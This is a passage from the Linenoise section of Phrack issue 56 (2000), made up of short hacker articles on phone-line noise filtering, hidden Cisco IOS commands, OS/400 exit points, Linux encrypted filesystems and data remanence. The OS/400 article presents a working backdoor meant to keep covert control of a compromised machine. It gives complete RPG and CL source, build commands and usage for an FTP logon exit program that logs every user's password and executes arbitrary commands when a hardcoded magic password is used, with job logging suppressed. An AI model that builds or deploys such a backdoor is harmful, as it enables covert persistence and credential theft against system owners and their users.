- P H R A C K M A G A Z I N E - Volume 0xa Issue 0x38 05.01.2000 0x03[0x10] |----------------------------- L I N E N O I S E -----------------------------| |-----------------------------------------------------------------------------| |------------------------------- phrack staff --------------------------------| Phrack Linenoise is a hodge-podge. Part virtual Mr. Bobo'z table, part Leftorium; Linenoise is where articles that can't quit make it end up. Some of the various reasons things end up here: - Addendum and Errata There is a section in Linenoise specifically for corrections and additions to previous articles. Feedback to articles, however, is alwayz placed in the savory loopback section. - Too short Articles that are just a bit too short to stand on their own, but still contain worthwhile information can end up here. - Niche audience The articles that cater to a narrow group of readerz might also end up here. |0x01|------------------------------------------------------------------------| |------------ data connections on old electromechanical exchanges ------------| |TOKATA & Vladi -----------------------------------------| In many poor countries (such as Bulgaria) there are still a lot of old electromechanical switches - SxS (step-by-step), Panel and Crossbar. Maybe some Phrack readers from these countries download the Phrack releases through these switches. So, I think it is useless to explain the quality of such lines. They are damned noisy, mf! So, with the help of a friend, we developed a new device, a simple one at that, which makes a better data connection. It increases the quality some 30 - 40%! We have successfully tested it with many modems (from 2400bps to 33600bps): DataLink, SunShine, UMC, Rockwell, US Robotics... It _will_ work! Notes: - This device *only* works on 60V switches. AFAIK, those are the only SxS switches around. - List of exchanges (used in Bulgaria), on which this device works: SxS --> A-29 (Siemens), F-61 (maybe Siemens too), ATS-54 (Russian) Xbar --> KRS 103/203 (bulgarian), ATSK - 50 (russian) For Russian people it's quite easy, because we use almost the exact same exchanges (such as ATS-54 and ATSK-50). - The device DON'T work on these exchanges: - ESK - 10000E (also known as Crosspoint, made by Siemens) - "Kvant" (Russian) - EWSD, AXE, MT, ESS (and all the digital exchanges) The schematic is very simple: 2 __o / S o----/ o-----| | 1 | o----|--------------|-------o | | | | o-----------| |-------------o C K --> C --> capacitor. Use a 1uF one (maximum)! You can put a smaller one, but _NOT_ put more than 1uF!!! S --> DPST switch. "1" is position 1, and "2" is position 2. DPST On the schematic you _must_ :-) see the two phone wires. They have the capacitor and the switched connected to them. So, what is the use of the DPST switch? When you begin to dial the switch must be moved to (1). That will shunt the capacitor, otherwise you would not be able to dial through the phone line. When the connection is estabilished - move the switch to (2) in order to join the capacitor. Gotit? Theory of operation All the noise on the old switches springs up from the electromechanical switching process. Our device (the capacitor) is used as a filter of low frequencies (including nasty brooms, which really fuck up data connections). - TOKATA & Vladi |0x02|------------------------------------------------------------------------| |------------------------- Undocumented IOS Commands -------------------------| |krnl-------------------------------------------------------------------------| Introduction Here are some commands in cisco systems' Internetworking Operating System which are hidden from users at any privilege level. Some are informative, while others are rather mundane. Some will even lock the router if invoked incorrectly. This list is a subset of all hidden commands. Descriptions of commands are included where possible. All were tested on a box running 12.0-6S. exec commands @clear profile (clear cpu profiling) @debug ip ospf monitor @debug oir (debug online insertion and removal) @debug par mo (debug parser modes) @debug sanity (debug buffer pool sanity) @debug subsys (debug discrete subsystems) @debug buffer (additional buffer debugging) @gdb kernel @gdb examine pid @gdb debug pid @if-console [] [console|debug] @profile . @sh chunk (show chunks of memory allocated to processes) @sh chunk summ (show chunk allocation summary) @sh idb (shows interface database) @sh in stats (gives you switching path output per interface) @sh ip ospf maxage-list @sh ip ospf delete-list @sh ip ospf statistic @sh ip ospf bad-checksum @sh ip ospf event @sh isis timers @sh isis tree IS-IS link state database AVL tree @sh isis tree level-2 @sh isis private @sh profile [detail|terse] (show cpu profiling) @sh parser modes (shows current process access-tree.) @sh parser unresolv (shows unresolved links in access-tree) @sh list @sh list none @sh region (shows image layout) @sh region
(shows image layout at given address) @sh timers (show timers for timer command in config mode) @sh int switching (shows switching path information for the interface) @sh proc all-events (shows all process events) @sh sum (show current stored image checksum) @test transmit (test the transmission of L2 frames) configuration mode commands @boot system rom @boot module @exception-slave dump X.X.X.X @exception-slave protocol tftp @exception-slave corefile @ip slow-convergence @ip tftp boot-interface @loopback diag @loopback dec (at dec chip) @loopback test @loopback micro-linear @loopback motorola @scheduler max-task-time 200 (last val in milliseconds) @scheduler heapcheck process (memory validation.. after proc) @scheduler heapcheck poll (memory valid after some poll) @scheduler run-degraded (perhaps in a failure mode?) @service internal @service slave-coredump @service log backtrace (provides traceback with every logging instance) @tunnel carry-security in bgp config: @neighbor ctalkb-out filter-as 100 d % filter-as is an obsolete subcommand, use filter-list instead in router isis config: @partition-avoidance XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX @clear profile clears out the current CPU profiling configuration. @debug buffer as with buffer sanity checking, no debugging information on lightly loaded box. ctalkb#debug buffer Additional buffer checking debugging is on @debug ip ospf monitor provides information on the status of the ospf process in the debugging logs. ctalkb#debug ip ospf monitor OSPF spf monitoring debugging is on 2w3d: OSPF: Syncing Routing table with OSPF Database -Traceback= 6064B628 603B6D2C 603B6D18 2w3d: OSPF: Completed Syncing and runtime is 4 msec -Traceback= 6064B65C 603B6D2C 603B6D18 2w3d: OSPF: Start redist-scanning -Traceback= 6064AC20 6062B430 603B6D2C 603B6D18 2w3d: OSPF: Scan for both redistribution and translation -Traceback= 6064AC60 6062B430 603B6D2C 603B6D18 2w3d: OSPF: End scanning, Elapsed time 0ms -Traceback= 6064B13C 6062B430 603B6D2C 603B6D18 2w3d: OSPF: Syncing Routing table with OSPF Database -Traceback= 6064B628 603B6D2C 603B6D18 ctalkb#debug oir Online Insertion and Removal debugging is on 2w3d: OIR: Process woke, 'Event', stall=2, usec=0xB6835B36 -Traceback= 6040967C 603B6D2C 603B6D18 2w3d: OIR: Shutdown pulled interface for Serial5/0 -Traceback= 600E30C4 60409204 604096C8 603B6D2C 603B6D18 2w3d: %OIR-6-REMCARD: Card removed from slot 5, interfaces disabled -Traceback= 60409748 603B6D2C 603B6D18 2w3d: OIR: Remove hwidbs for slot 5 -Traceback= 60409368 60409750 603B6D2C 603B6D18 2w3d: OIR: Process woke, 'Event(max not running)', stall=3, usec=0xD0115C9E -Traceback= 6040967C 603B6D2C 603B6D18 2w3d: OIR: Process woke, 'Timer(max running)', stall=3, usec=0xDDBB56D6 -Traceback= 6040967C 603B6D2C 603B6D18 2w3d: OIR: (Re)Init card 5, retry_count=3 -Traceback= 60409894 603B6D2C 603B6D18 2w3d: %OIR-6-INSCARD: Card inserted in slot 5, interfaces administratively shut down -Traceback= 604098BC 603B6D2C 603B6D18 @debug par mo (debug parser modes) this is used to show what is happening at the parser at specific instances. it will show you a basic walkthrough of the lookups needed to process the cli commands ctalkb#debug par mo Parser mode debugging is on 00:54:40: Look up of parser mode 'controller' succeeded 00:54:40: Look up of parser mode 'route-map' succeeded @debug sanity couldn't get any diagnostic information on this. router is not heavily loaded so there isn't much buffer churn and burn to contend with. ctalkb#debug sanity Buffer pool sanity debugging is on @debug subsys subsystem information indicates a code segment and its version. when i had debugging on, i tried reloading the system microcode. this did not cause any interesting debugging information. ctalkb#debug sub Subsystem debugging is on @debug oir extended online insertion and removal debugging information. @gdb kernel i couldn't get this to do much besides render the router inoperable. there seems to be no interface comparable to the stock gnu debugger. perhaps there are additional parameters that i am missing. this applies to all of the debugger subcommands found. ctalkb#gdb ker Kernel GDB allowed on console terminal only ctalkb#gdb ex 91 ||||(lock up) @gdb debug pid ctalkb# ctalkb#gdb debug 91 Can't debug your own process ctalkb# @if-console [] [console|debug] no output since i don't have a viper router or 12XXX. however, this is one of the most interesting hidden commands available for the cisco. it allows you to get on a card console (i.e. per individual slot instead of per individual chassis) and print out extended diagnostic and debugging information on the specific card. you enter the card in unpriv mode and need to enable before seeing all of the commands. @profile . you can setup cpu profiling in the exec mode with the profile command. process profiling allows you to find which segment of code is perhaps hogging the CPU.. what you really need to get use out of this feature is a symbol table so you can pull the location of the appropriate segment of code. the segment is defined by the start and stop values given to the profile command. the granularity specifier allows you to get down to single instruction level. the cpu has its own internal timer that is incremented regardless of whether the desired segment of code is executed. when the desired segment of code is executed, a per-profile counter is incremented. comparison of this counter with the overall system timer allows you to get some handle on how much of the cpu the specific segment is using. ctalkb#profile ? task start stop hogs <0-FFFFFFFF> @show chunk (show chunks of memory allocated to processes) there is the traditional malloc/free memory management in place on the cisco. there is also chunk allocation. the main benefit of chunk allocation over its predecessor is that memory overhead is only paid by the large chunk (which is then carved up into smaller pieces) instead of by each individual malloced block. ctalkb#sh chunk Chunk Manager: 142 chunks created, 1 chunks destroyed 46 siblings created, 0 siblings trimmed Chunk element Block Maximum Element Element Total cfgsize Ohead size element inuse freed Ohead Name 16 0 65532 3270 717 2553 8 List Elements 0x61525688 52 0 65532 1168 0 1168 0 List Headers 0x61535684 16 0 65532 3270 0 3270 8 messages 0x61550068 @show chunk summ summary listing of allocated chunks. shows you big chunk size, the number of siblings divided up within that chunk space as well as the overhead taken by the chunk. ctalkb#sh chunk sum Chunk Manager: 142 chunks created, 1 chunks destroyed 46 siblings created, 0 siblings trimmed Element Sibling size Total Total Total Inuse Ovrhd Chunk Flag size(b) --range(b)-- Siblg alloc Free HWM (b) name D 16 253- 752 0 3270 2553 724 8 ListElements D 52 1003- 1502 0 1168 1168 0 0 List Headers D 16 253- 752 0 3270 3270 21 8 messages D 8 253- 752 0 5450 3974 1476 8 Reg Function 8 @sh idb This command shows the hardware and software interface databases. this is cisco's way of keeping track of how many interfaces are present on the system.. includes hardware and software interfaces (physical, subinterfaces etc). there is a software limit of 1024 i believe in ios 11 and 2048 in ios 12. this is a global limit for the router. output: ctalkb#sh idb 19 SW IDBs allocated (2296 bytes each) 9 HW IDBs allocated (4008 bytes each) HWIDB#1 1 FastEthernet0/0 (Ether) HWIDB#2 2 Serial2/0:0 (Serial) HWIDB#3 3 Ethernet3/0 (Ether) HWIDB#4 4 Ethernet3/1 (Ether) HWIDB#5 5 Ethernet3/2 (Ether) HWIDB#6 6 Ethernet3/3 (Ether) HWIDB#7 7 Serial4/0 (Serial) HWIDB#8 8 Serial5/0 (Serial) HWIDB#9 9 Loopback0 @sh in stats (gives you switching path output per interface) Ethernet3/0 Switching path Pkts In Chars In Pkts Out Chars Out Processor 786433 594121827 556812 177400752 Route cache 107469 8910774 107451 8925784 Total 893902 603032601 664263 186326536 @sh int e3/0 switching goes over some of the basic processes and the data that they are processing. shows what switching paths were used for the specific data counted. basic processes == IP and routing processes. others are lumped into the default category. ctalkb#sh int e3/0 switching Ethernet3/0 Throttle count 0 Drops RP 0 SP 0 SPD Flushes Fast 0 SSE 0 SPD Aggress Fast 0 SPD Priority Inputs 972 Drops 0 Protocol Path Pkts In Chars In Pkts Out Chars Out Other Process 0 0 167 10020 Cache misses 0 Fast 0 0 0 0 Auton/SSE 0 0 0 0 IP Process 4556 282352 3733 541124 Cache misses 0 @sh ip ospf maxage-list don't have ospf running.. would seem that this command shows you the current value of the max-lsa age. there is some periodic refresh which needs to be accounted for. ctalkb#sh ip ospf max AS System N Maxage delete timer due in NEVER @sh ip ospf delete-list this command shows you the lsas which have been deleted from consideration. as i don't have ospf running, i can't ascertain whether this is lsas which were taken out of consideration by the SPF algorithm or by other means. ctalkb#sh ip ospf delet AS System N Area BACKBONE(0) ROUTER and NETWORK LSDB delete list Dest: 172.16.0.1, Type: 0, Metric: 1, ADV RTR: 172.16.0.1 Path: gateway 172.16.0.1, interface Loopback0 SUMMARY NET and ASBR LSDB delete list TYPE-7 EXTERNAL LSDB delete list EXTERNAL LSDB delete list @sh ip ospf statistic this is a really handy command because it gives you time averages of different portions of the ospf process. this is useful in that it further lets you pin down IGP convergence times on your network as well as to isolate the areas which are causing the process to chug. ctalkb#sh ip ospf stat Area 0: SPF algorithm executed 1 times SPF calculation time Delta T Intra D-Intra Summ D-Summ Ext D-Ext Total Reason 2w3d 0 0 0 0 0 0 0 R, Avg. and Accumulated time of the last 250 process_ase() Avg. Accumulated ASBR-lookup 0, 0 Forw-Addr-lookup 0, 0 compare metric 0, 0 ... (more) @sh ip ospf bad-checksum shows LSAs which have failed the checksum. not sure if this is a count or actual event times since i didn't have ospf functioning. @sh ip ospf event provides a history lists of subprocess function execution.. useful so that the operator can understand a bit more about the execution flow ctalkb#sh ip ospf eve 1 54700 Generic: ospf_redist_callback 0x618B36A4 2 114716 Generic: ospf_redist_callback 0x618B36A4 3 174736 Generic: ospf_redist_callback 0x618B36A4 4 234756 Generic: ospf_redist_callback 0x618B36A4 5 294772 Generic: ospf_redist_callback 0x618B36A4 6 320796 Generic: ospf_build_ex_lsa 0xC658FF00 7 320796 Generic: ospf_build_ex_lsa 0xAC100000 8 320796 Generic: ospf_build_ex_lsa 0xD16F5C00 @sh isis timers useful in that it provides a brief overview of execution flow in the isis process. shows you frequency of things like l1/l2 hello etc. ctalkb#sh isis timers Hello Process Expiration Type | 0.856 (Parent) | 0.856 L2 Hello (Ethernet3/0) | 6.352 L1 Hello (Ethernet3/0) | 6.940 Adjacency Update Process Expiration Type | 1.060 (Parent) | 1.060 Ager | 1.352 L2 CSNP (Ethernet3/0) | 8.616 L1 CSNP (Ethernet3/0) | 3:25.860 (Parent) | 3:25.860 LSP refresh | 9:02.160 LSP lifetime | 9:24.568 LSP lifetime | 17:16.084 LSP lifetime | 20:58.536 Dynamic Hostname cleanup @sh isis tree IS-IS link state database AVL tree shows path and depth taken to get to other level 1/2 intermediate systems in some routing domain. shows both by default. ctalkb#sh isis tree IS-IS Level-2 AVL Tree Current node = X.X.X.00-00, depth = 0, bal = 0 Go down left Current node = X.X.Y.00-00, depth = 1, bal = 0 ---> Hit node X.X.Y.00-00 Back up to X.X.X.00-00 Current node = X.X.X.00-00, depth = 0, bal = 0 ---> Hit node X.X.X.00-00 Go down right Current node = X.X.X.02-00, depth = 1, bal = 0 ---> Hit node X.X.X.02-00 Back up to X.X.X.00-00 @sh isis private displays a little diagnostic information related to the isis process. ctalkb#sh isis private ISIS: FastPSNP cache (hits/misses): 0/4002 ISIS: LSPIX validations (full/skipped): 216271/490412 ISIS: LSP HT=0 checksum errors received: 0 ctalkb# @sh list perhaps a singly linked list manager which displays global pointer to the first element in each linked list as well as the number of members in each list. ctalkb# sh list List Manager: 1415 lists known, 1561 lists created ID Address Size/Max Name 1 613EE970 11/- Region List 2 613EEE98 1/- Processor 3 613EFDE8 1/- I/O 4 613F0D38 1/- I/O-2 5 6149EDD0 0/- Sched Critical 6 6149ED90 0/- Sched High 7 6149EB00 0/- Sched Normal @sh list none ctalkb# sh list none List Manager: 1415 lists known, 1561 lists created ID Address Size/Max Name 1 613EE970 11/- Region List 2 613EEE98 1/- Processor 3 613EFDE8 1/- I/O 4 613F0D38 1/- I/O-2 9 6149ED10 82/- Sched Idle 11 61499A50 8/- Sched Normal (Old) 12 6149CC10 1/- Sched Low (Old) @sh parser modes (shows current process access-tree.) ctalkb#sh par mo Parser modes: Name Prompt Top Alias Privilege exec 0x60EFB294TRUE TRUE configure config 0x60EFABACTRUE TRUE interface config-if 0x60EF7AECTRUE TRUE subinterface config-subif 0x60EF7AECTRUE FALSE null-interface config-if 0x60EFB368TRUE TRUE line config-line 0x60EF3F84TRUE TRUE @sh parser un ctalkb#sh parser un Unresolved parse chains: 40 40 198 198 322 @sh proc all-events ctalkb#sh proc all-events Queue Notifications Event Name Pid 1 Process 61588410 Pool Grows 4 Pool Manager ct 0 615A156C Log Messages 19 Logger ct 0 615EE8A0 IPC inboundQ 11 IPC Seat Manager ct 0 615EE934 IPC Zone inboundQ 9 IPC Zone Manager ct 0 61642840 ARP queue 12 ARP Input ct 0 @sh profile [detail|terse] (show cpu profiling) ctalkb#sh prof d Profiling enabled Block 0: start = 91, end = FFF, increment = 8, EXEC Total = 0 System total = 9802 ctalkb#sh prof t PROF 91 FFF 8 PROFTOT 10065 ctalkb# @sh region (shows image layout) displays the program layout for the uncompressed image. ctalkb#sh region Region Manager: Start End Size(b) Class Media Name 0x07800000 0x07FFFFFF 8388608 Iomem R/W iomem2 0x20000000 0x21FFFFFF 33554432 Iomem R/W iomem 0x57800000 0x57FFFFFF 8388608 Iomem R/W iomem2:(iomem2_cwt) 0x60000000 0x677FFFFF 125829120 Local R/W main 0x60008900 0x6123AC29 19079978 IText R/O main:text 0x6123C000 0x6136A17F 1237376 IData R/W main:data 0x6136A180 0x6152565F 1815776 IBss R/W main:bss 0x61525660 0x677FFFFF 103655840 Local R/W main:heap @sh region
picking a random location within memory shows what segment that specific address falls under. same info can be gleaned from the root command. ctalkb#sh region a 0x07800000 Address 0x07800000 is located physically in : Name : iomem2 Class : Iomem Media : R/W Start : 0x07800000 End : 0x07FFFFFF Size : 0x00800000 @sh sum this takes the compressed image and computes its checksum. this is compared with the previously stored checksum to ensure integrity. ctalkb#sh sum New checksum of 0x36D03E96 matched original checksum ctalkb# @sh timers (show timers for timer command in config mode) ctalkb#sh tim State Handle interval due invoked missed Process @test transmit (test the transmission of L2 frames) this command allows you to send the specified number of frames to the specified destination: ctalkb#test transmit interface: Ethernet3/0 total frame size [100]: 1) To this interface 2) To another interface 9) Ask for everything Choice: 2 Encapsulation Type: 1) Ethertype 2) SAP 3) SNAP 4) SNAP (Cisco OUI) 5) SNAP (EtherV2 OUI) 6) Novell 802.3 Choice: 1 Protocol type: 1) IP 2) XNS 3) IPX 9) Ask for everything Choice: 1 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX (in config mode) @boot system rom if the system has an image burned in on rom, this command allows you to revert to that image instead of the image stored on some other secondary media (flash card). ctalkb(config)#boot system rom The 'boot system rom' command is not valid for this platform. It has been translated to 'boot system flash bootflash:' @boot module the command is there, but it doesn't seem to do anything besides barf. 00:34:02: %PARSER-3-BADSUBCMD: Unrecognized subcommand 11 in configure command 'boot module a' @exception-slave dump X.X.X.X informs the router where to dump the core image. @exception-slave protocol tftp tells the router what protocol to use when dumping the core image. @exception-slave corefile tells the router what to name the corefile. note that this corefile has to be at least 666 on the tftp server for the router to be able to write it. @ip slow-convergence i haven't been able to see any difference in the router performance after enabling this command. regardless, it does not look like a command which would improve the router performance. @ip tftp boot-interface tells the router what interface to find its image in the case that it wants to boot net via tftp. @loopback diag all of these loopback commands allow you to loop the hardware at specific points so that you can isolate hardware faults. e.g. this is not just a loopback net and loopback local command set. also, not all pieces of hardware can be looped at all the below points. @loopback dec (at dec chip) @loopback test @loopback micro-linear @loopback motorola @scheduler max-task-time 200 (last val in milliseconds) this knob allows you to set the number of milliseconds a specific process is on CPU before it reports debugging information. a relatively easy way to report which process is hogging. sh proc cpu is obviously the best way to track down cpu hogs while on the router, but this command allows you to track down more insidious hogs. 00:13:18: %SYS-3-CPUHOG: Task ran for 308 msec (3/1), process = Virtual Exec, PC = 603C9AD8. @scheduler heapcheck process (memory validation.. after proc) @scheduler heapcheck poll (memory valid after some poll) @scheduler run-degraded (perhaps in a failure mode?) causes the scheduler to attempt to keep running even in the face of some sort of fatal process error. the default action of IOS is to have this knob turned off and to crash the router upon the recognition of a fatal error. this is done on a per-process basis. obviously, some processes are more critical than others and moving the offending process out of the scheduler won't really buy you any time or information. @service internal this is a really nifty command. turning it on in global configuration mode allows you to view some previously hidden commands. turn it on by default and you will eventually find some extras. some commands are not even accessible unless this is turned on. (sh proc all-events fex) @service slave-coredump this allows you to dump core when applicable to some slave machine for logging purposes. this does take a long time depending on the amount of memory in the router (copying 128MB with varying link speeds. you do the math). it is important to note that this copying occurs before the router enters usable mode, so you basically have added quite a bit of delay into the reload time. the exception-slave commands inform the router where to dump the core image. @service log backtrace (provides traceback with every logging instance) -Traceback= 603C9AE0 603546C0 60354A48 6035CA58 6035C3F4 6035C34C 60373EBC 603B6D2C 603B6D18 in bgp config: @neighbor ctalkb-out filter-as 100 d % filter-as is an obsolete subcommand, use filter-list instead this is a nifty command in that it gives you a little more insight into whats happening. i would prefer this command even though it has been deprecated in favor of the filter-list command. reasoning: this command is more specific. in router isis config: @partition-avoidance not quite sure what this does since i don't have a complex isis setup to test. |0x03|------------------------------------------------------------------------| |----------------------- OS/400 Exit Point Programming -----------------------| |clever ------------------------------------------------------| Introduction Exit points enable programmers to embed custom logic in otherwise non-configurable system functions. At a certain stage of its execution, a program with an exit point will execute the programs which have been registered with its exit point, passing relevant parameters to the called programs. At that time, the exit point program can do anything it likes with the parameters passed to it and modify the behavior of the calling program by passing back values, if it decides to do so. Exit point programming is somewhat esoteric. Most people who deal with the AS/400 are not aware of the existence of exit points, and most of those who know about them do not use them. System administrators who care about security have used them since they became available to improve system security by logging things like user profile creation or limiting the use of system facilities to a subset of the users who could ordinarily make use of them. Suppose that you have gained access to a typical AS/400 system. Its administrators are concerned about security, but they lack a consistent security plan and the skill to implement it, even if they did. Even so, the misconfiguration that allows you to gain access may be noticed and fixed at any time. A new user profile would probably be spotted. You need a way to retain control over the machine that won't be noticed by most people. Exit points do most of the work for you. One exit point present in the ftp server software is "FTP Server Logon", named QIBM_QTMF_SVR_LOGON. Its parameter format is TCPL0100. TCPL0100: Application Identifier 4B Input User Identifier * Input User Identifier length 4B Input Authentication String * Input Authentication String length 4B Input Client IP Address * Input Client IP Address length 4B Input Return Code 4B Output User Profile 10A Output Password 10A Output Initial Current Library 10A Output The parameters marked 'Input' are set by and received from the system; these fields contain user signon information, which we should log. The only output parameter about which we care in this instance is 'Return Code', which we must set to 1, telling the system to proceed with authentication and that the password provided must match the actual password of the user profile for authentication to succeed. Other return code values cause the system to do various things that you might find useful. Consult the documentation if you are curious. So. 1. ftp> open x.x.x.x Connected to x.x.x.x. 220-QTCP at x.x.x. 220 Connection will close if idle more than 5 minutes. Name (x.x.x.x:root): werd 331 Enter password. Password: f.u.c.k.493 2. The exit program is called. The server passes it the parameters mentioned above. 3. The exit program does whatever it likes. It sets the 'Output' parameters, if it likes. The exit program returns. 4. The server considers the parameters passed back to it and does whatever is indicated by those parameters. Below is a stripped-down version of one tool I use for this. It isn't hidden. It should only be used on boxes whose administrators are somewhere between 'Don't Care' and 'Making A Clumsy Effort At Security'. That is to say, most of them. Names/types. F01 RPGLE F02 CLLE FP PF Creating. CRTPF FILE(x/FP) SRCFILE(x/x) TEXT(*BLANK) CRTRPGMOD MODULE(x/F01) SRCFILE(x/x) DBGVIEW(*NONE) OUTPUT(*NONE) CRTCLMOD MODULE(x/F02) SRCFILE(x/x) OUTPUT(*NONE) LOG(*NO) DBGVIEW(*NONE) CRTPGM PGM(x/F) MODULE(x/F01 x/F02) TEXT(*BLANK) ALWUPD(*NO) USRPRF(*OWNER) DLTMOD MODULE(x/F01) DLTMOD MODULE(x/F02) Put F and FP somewhere QTCP can find them. QUSRSYS, maybe. Register x/F with QIBM_QTMF_SVR_LOGON using WRKREGINF. Restart ftp. Using. The command goes in the user field. The special authorization string goes in the password field. Normal signons get logged in FP. Ignore the error; data area TEST does get created in QGPL. ftp> open x.x.x.x Connected to x.x.x.x. 220-QTCP at x.x.x. 220 Connection will close if idle more than 5 minutes. Name (x.x.x.x:root): crtdtaara qgpl/test *dec 331 Enter password. Password: itsmeclever 530 Log on attempt by user CRTDTAARA rejected. ftp: Login failed. Remote system type is . ftp> Code. (F01) FFP O A E DISK D S c 'itsmeclever' D DParms pr extpgm('F01') D AppID 9b 0 D UsrID 100a D UsrIDLen 9b 0 D AutStr 32a D AutStrLen 9b 0 D ClntIP 15a D ClntIPLen 9b 0 D Rcd 9b 0 D UsrPrf 10a D Pwd 10a D InlCurLib 10a D DParms pi D AppID 9b 0 D UsrID 100a D UsrIDLen 9b 0 D AutStr 32a D AutStrLen 9b 0 D ClntIP 15a D ClntIPLen 9b 0 D Rcd 9b 0 D UsrPrf 10a D Pwd 10a D InlCurLib 10a D DLog pr D Type 10a value D Text 200a value D DExcCmd pr D Cmd 100a value C if %subst(AutStr:1:AutStrLen) = S C callp ExcCmd(%subst(UsrID:1:UsrIDLen)) C eval *inlr = *on C return C endif C C callp Log('FTP': C %subst(UsrID:1:UsrIDLen)+ ' '+ C %subst(AutStr:1:AutStrLen)+ ' '+ C %subst(ClntIP:1:ClntIPLen)) C C eval Rcd = 1 C C eval *inlr = *on C return PLog b D pi D Type 10a value D Text 200a value C time FPTS C eval FPTYPE = Type C eval FPTEXT = Text C C write FPR P e PExcCmd b D pi D Cmd 100a value C callb 'F02' C parm Cmd P e - - - - - - - - - - (F02) PGM PARM(&COMMAND) DCL VAR(&COMMAND) TYPE(*CHAR) LEN(100) MONMSG MSGID(CPF0000) EXEC(GOTO CMDLBL(ERROR)) CHGJOB LOG(0 99 *NOLIST) LOGCLPGM(*NO) CALL PGM(QCMDEXC) PARM(&COMMAND 100) ERROR: ENDPGM - - - - - - - - - - (FP) A R FPR A FPTS 14S 0 A FPTYPE 10A A FPTEXT 200A Hope this helps someone. clever 20000222 |0x04|------------------------------------------------------------------------| |---------------------- Linux and Encrypted Filesystems ----------------------| |phunda mental --------------------------------------------| Most people don't realize it, but Linux has incredibly robust support for encrypted filesystems. This functionality is not present in the stock kernel due to U.S. export regulations, but it can be easily added by obtaining the patchset for your kernel version from www.kerneli.org. In this article, I will present a quick introduction to setting up strong encryption within the Linux kernel, and then I will present a few configurations that allow for seperatly encrypted home directories for each user, encrypted disk partitions, etc. First, you must download util-linux-2.9e.tar.gz[1], and the kernel source patches. For the purposes of this article, I'll assume you are running kernel 2.2.4; therefore you would get patch-int-2.2.4.1.gz[2]. In /usr/src do ln -s linux lin.2.2.4 (the patch expects this to be the name of the source directory) and apply the patch with zcat patch-int-2.2.4.1.gz | patch -p0. Now look in linux/Documentation/crypto. There are some patches in there to Linux utilities. Unpack the util-linux distro, apply the necessary patch, and build the new utilities. You'll need to install the new losetup and mount commands. Remember that mount needs to be suid root if you want users to have the ability to mount encrypted volumes. Now build a kernel with make menuconfig, and take a look at the dox in the Documentation/crypto directory. You'll notice that the kernel patches give support for Blowfish, DES, DFC, IDEA, MARS, RC6 and Serpent. These ciphers can be used by the networking code, or the loopback device. The loopback device also has special support for CAST128 and Twofish. Once you have your new kernel up and running, you can make a blowfish encrypted volume like so: $ dd if=/dev/zero of=vol.img bs=1024 count=2000 $ losetup -e blowfish /dev/loop0 vol.img Losetup will prompt you for a passphrase. This passphrase is hashed with RIPEMD-160 in order to key the cipher. $ mkfs.ext2 /dev/loop0 $ losetup -d /dev/loop0 #disconnect the loopback device All of the preceding commands can be issued as a user, to actually mount the volume, you will need root status, or the appropriate line in /etc/fstab. # mount vol.img /mnt -o encryption=blowfish Mount will prompt you for a passphrase, enter the one you gave to losetup, and the volume will get mounted on /mnt. In order for user joe to mount ~/.img on ~/secure a line in fstab like this is needed: /home/joe/.img /home/joe/secure ext2 noauto,user,rw,exec,encryption=blowfish Now joe can mount his volume with the command "mount ~/secure". A similar tactic can be used to have joe's entire home directory encrypted. Make a directory called /usr/imgs/joe and let the directory "joe" be owned by user joe. Place an encrypted img called home.img in /usr/imgs/joe and modify /etc/profile to check if the user's home directory image exists, and if it does, mount the encrypted image onto /home/$USER (if it is not already mounted). Then, all that is needed is an appropriate line in /etc/fstab to allow joe to mount onto /home/joe. I personally use this scheme to keep my home directory encrypted on my machines. When I log in, /etc/profile gets executed and it asks me for the passphrase needed to mount my home directory. A crontab periodically runs and tries to unmount my home directory, so that when I log out and any jobs I left running end, my home directory will get unmounted. If you use xdm to automatically launch X on boot up, then you will need to modify Xsession in the xdm directory to launch an xterm that executes the mount command so that the user can mount his home directory before his ~/.xsession gets executed. Consistent with the UNIX philosophy that a device is a file, Loopback encryption also works for block devices. To encrypt disk partitions, Linux will need a small unencrypted root partition (just enough for the kernel, /dev, /etc, /lib and the basic binaries), maybe 15 or 20 meg. /dev/hda2 will contain a filesystem that houses /usr, /var, /home and whatever else you have. It will get mounted on /fs/hda2. You can set this filesystem up like so: $ losetup -e blowfish /dev/loop0 /dev/hda2 $ mkfs.ext2 /dev/loop0 $ mount /dev/loop0 /fs/hda2 Now you can copy all of /usr and everything to /fs/hda2 and just symlink /fs/hda2/usr to /usr so that everything works. Alternatively, if you have seperate partitions for /usr, /var, and /tmp you can set them up as individual partitions. Set up your fstab as follows: /dev/hda2 /fs/hda2 ext2 defaults,encryption=blowfish 0 0 Now, when you boot, you will get prompted for the passphrase needed to mount /fs/hda2. An attacker will get virtually nothing from your machine.. they won't even know what applications you have installed. I use a similar scheme to keep the contents of removable media and PCMCIA flash cards encrypted. The kernel patches have other applications besides encrypted filesystems. The patches give support for ENskip, and a tunneling hack which allows encrypted IP through UDP called CIPE. Check out kerneli.org for more info on this stuff. Credit, and thanks go to the kernel and patch set maintainers. References: 1. ftp://ftp.aanet.ru/pub/Linux/utils/util-linux-2.9e.tar.gz 2. ftp://ftp.kerneli.org/pub/kerneli/v2.2/patch-int-2.2.4.1.gz |0x05|------------------------------------------------------------------------| |------------------------------ Data Remanence -------------------------------| |phunda mental --------------------------------------------| So, you've encrypted all your goodies with 3DES, selected strong passphrases, and now you are content to sit back and have a beer, knowing that your stuff is secure, right? Yeah. Sure it is. We are facing the problem of data remanence, and it's a bitch. Strong crypto only protects the ciphertext; if the plaintext is sitting around on your hard drive you're still screwed. Data remanence, as the name implies is the residual remains of data after it is has been deleted, cleared or purged. In this document, the term "deleted" refers to the normal OS-supplied delete command. Clearing data refers to a process that attempts to destroy data such that it cannot be reconstructed with normal OS-supplied commands or functions, including specially created software. Purging refers to a process (generally in hardware) that attempts to defeat all of the above methods of reconstruction, along with laboratory-based reconstruction techniques. Obviously, DR occurs in many forms, and can be exploited in a few different ways. Software Methods The first way that DR can bite us in the ass is one that any competent DOS/Windows user should know about: the undelete command. The standard MS delete just kills the pointer to the file in the FAT, while the data itself still sits on the disk. Undelete just restores that pointer, and we can get some (or all) of those data bits back. Well, depending on which color hat we are wearing at the moment, this may be helpful. If you are snooping on some alien machine, remember to try undelete when looking for interesting files. Else, get a program that can help you clear the data. In a pinch, defragging a hard drive can sometimes defeat something like undelete (depending on how the OS in question works). 